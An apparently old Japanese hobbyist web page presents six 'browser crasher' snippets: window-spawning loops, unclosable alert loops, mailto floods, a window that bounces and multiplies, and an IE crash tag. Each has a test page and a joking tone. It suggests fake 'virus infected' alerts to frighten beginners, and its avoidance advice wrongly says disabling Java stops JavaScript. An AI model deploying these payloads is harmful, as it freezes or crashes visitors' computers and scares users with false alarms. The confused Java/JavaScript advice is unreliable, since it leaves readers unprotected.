ブラウザクラッシャーとは?

ブラウザクラッシャーとはいったい何か?まぁここのHPに来る人はこんなこと疑問中の疑問にもなっていないでしょう。
だから、ここではそのソース、回避などを書いていきます。


ブラウザクラッシャーその例1

これは、ウィンドウをいくつも開いていきやがてPCをリソース不足にしフリーズさせ、うまくいけば強制終了をさせるというものです。以下にソースを記します。

<script language="JavaScript">
window.open()
window.open()
window.open()



以後同じものを書き連ねる
</script>

となります。
テストページを用意したので試してみようと思ったらクリックしてください。ただし、自己責任でお願いします。以後のテストページも同じです。

テストページ

回避法

さて、ここでソースを見てください。ソースは、Javascirptで書いてあります。つまり、これを回避するにはJavaを切ればいいわけです。
Javaを切るには、ブラウザのインターネットオプションでJavaのところをチェックをはずすだけです。
まぁ、ここに来ている人はそれぐらいわかりますよね。

例2

次に紹介するものもJavascriptで書いてあるものです。これは、ブラウザがランダムにデスクトップを動きまわるというものです。
以下にサンプルソースを記します。

<img src="JavaScript:
resizeTo( 100, 100 );
setInterval( 'moveTo( Math.random() * screen.width, Math.random() * screen.height )', 500 );
">
回避法は例1と同様にJavaを切ればいいだけです。テストページはこちら→テストページ

例3

<SCRIPT LANGUAGE="JavaScript">
for(;;){ window.alert("閉じても閉じても開き続ける"9 }
</SCRIPT>

さて、このブラウザクラッシャーもJavaを使用しているわけですが・・・・、これは結構私のお気に入りだったりします(笑)
なぜかっていうと、このブラウザクラッシャーは警告ダイアログが出てくるもので、初心者相手だったりすると、「ウィルスに感染しました」などと出てくるようにすると、めちゃめちゃびびったりするものです。(笑)
なお、警告ダイアログは閉じても閉じれないので結構あせったりします。
テストページはこちら→テストページ

回避法

さて、回避法ですが・・・、これもJavaを切れば終了です。で、ここまで書くのを忘れてたんですが(笑)もしJavaを切るのを忘れていてもしこういったものにかかってしまったら・・・・。
どうすればよいか?まず、ウィンドウを次々と出すものはAlt+F4キーを連打すればOKだったりします。また、もしそれでも無理でしたらctrl+alt+deleteキーを押してください。そうしたら、パソコンをシャットダウンする選択ができますので
しかたないですがあきらめてシャットダウンしましょう。もしくは再起動でもいいですよ。

例4

次にimgタグを使ったブラウザクラッシャーを紹介します。これは、メールの作成ウィンドウを無数に開くものでうまくいけば強制終了に持ち込めるといったものです。以下にソースを記します。

<img src="mailto:1">
<img src="mailto:2">
<img src="mailto:3">
<img src="mailto:4">



とあとは数値のところを5、6、7と永遠に増やしていけばいいだけです。さて、果たして回避法は!?とまぁ盛り上がったところでテストページの紹介です。こちら→テストページ

回避法

さて、このブラウザクラッシャーの回避法・・・。それは・・・ありませーん(笑)いえいえ、笑じゃなくてマジですってば。これはJavascriptで書いてあるものではなく、htmlで書いたものなのでこれを防ぐことはできません。ではどうすればよいか?
ブラウザクラッシャーチェッカーなどそのページがブラウザクラッシャーかどうか調べるツールがネットのどこかに落ちてたりします。googleで調べてみてください。でも、「ツール使うのはカッコわる〜い」とかいう人もいるでしょう(笑 私もその一人です)
そういった人のために、まず、そのブラウザクラッシャーの可能性があるページのURLの前にview-source:と付け加えてみてください。すると、そのページのソースが見れます。ですが、ソースを見るにはhtmlの知識が必要ですのでわからない人はツールを使うことをお勧めします。

例5

さて、例5というだけに、ちょっと大がかり?なブラウザクラッシャーを紹介しましょう。以下にソースを記します。
<html>
<head>
<script type="text/javascript">
var xOff=5; var yOff=5; var xPos=400; var yPos=-100; var flagRun=1; function openWindow()
{
window.open('http://www.raus.de/crashme/','_blank','menubar=no,status=no,toolbar=no,resizable=no,width=90,height=60,titlebar=no,alwaysRaised=yes');
}
function proCreate(){openWindow();openWindow();openWindow();openWindow();openWindow();openWindow();openWindow();openWindow();} function newXlt()
{xOff=Math.ceil(0-6*Math.random())*5-10;} function newXrt()
{xOff=Math.ceil(7*Math.random())*5-10;} function newYup()
{yOff=Math.ceil(0-6*Math.random())*5-10;} function newYdn()
{yOff=Math.ceil(7*Math.random())*5-10;} function fOff()
{flagRun=0;} function playBall(){xPos+=xOff;yPos+=yOff;if(xPos>screen.width-175){newXlt();}if(xPos<0){newXrt();}if(yPos>screen.height-100){newYup();}if(yPos<0){newYdn();}if(flagRun==1){window.moveTo(xPos,yPos);window.focus();setTimeout('playBall()',1);}}
</script>
</head>
<body background="/crashme/biggrin.gif" onload="playBall()" onunload="proCreate()">
</body>
</html>

さて、このソースはウィンドウがでてきて緑色の顔をした変なやつが動き回るというけっこう面白いやつです。ぜひこれはテストしたほうがいいいと思います。面白いし緑色のあの顔が・・・微妙に可愛いw(笑)
いざとなったらAlt+Fがありますから。これはいい経験になると思います。え?ソースが見にくいですって?まぁ気にしない気にしない。おまちかねのテストページはこちら→テストページ

例6

さて、最後にIEを使ってる人専用のブラウザクラッシャー?(じゃないかも)を紹介します。まぁ、これは上のように面白いことはできませんが、自分的に一番ムカつくのはこれだったりします。
これは、このブラウザクラッシャーが仕掛けられたページにいくと必ずIEが終了されるというものです。以下にソースを記します。

<html>
<form><input type crash></form>
</html>

楽しいテストページはこちら→テストページ

回避法

回避法。なし!!さっきと同様htmlで書いてあるから。せいぜい引っかからないようにしてください。

〜最後に〜

さて、どうでしたか?ブラウザクラッシャーの面白さ・・・じゃなくて(笑)危険性と悪用性がわかったでしょうか?ほかにもいろいろとありますがまぁこんなとこです。
ぜひみなさん、ブラウザクラッシャーを体験してみてください。やっぱり経験するのが一番ですよ。以外に面白かったりするし(笑)
いざとなったらAlt+Fとかctrl+alt+leteがありますから大丈夫ですよ。なお、間違いがありましたら掲示板にてご連絡ください。

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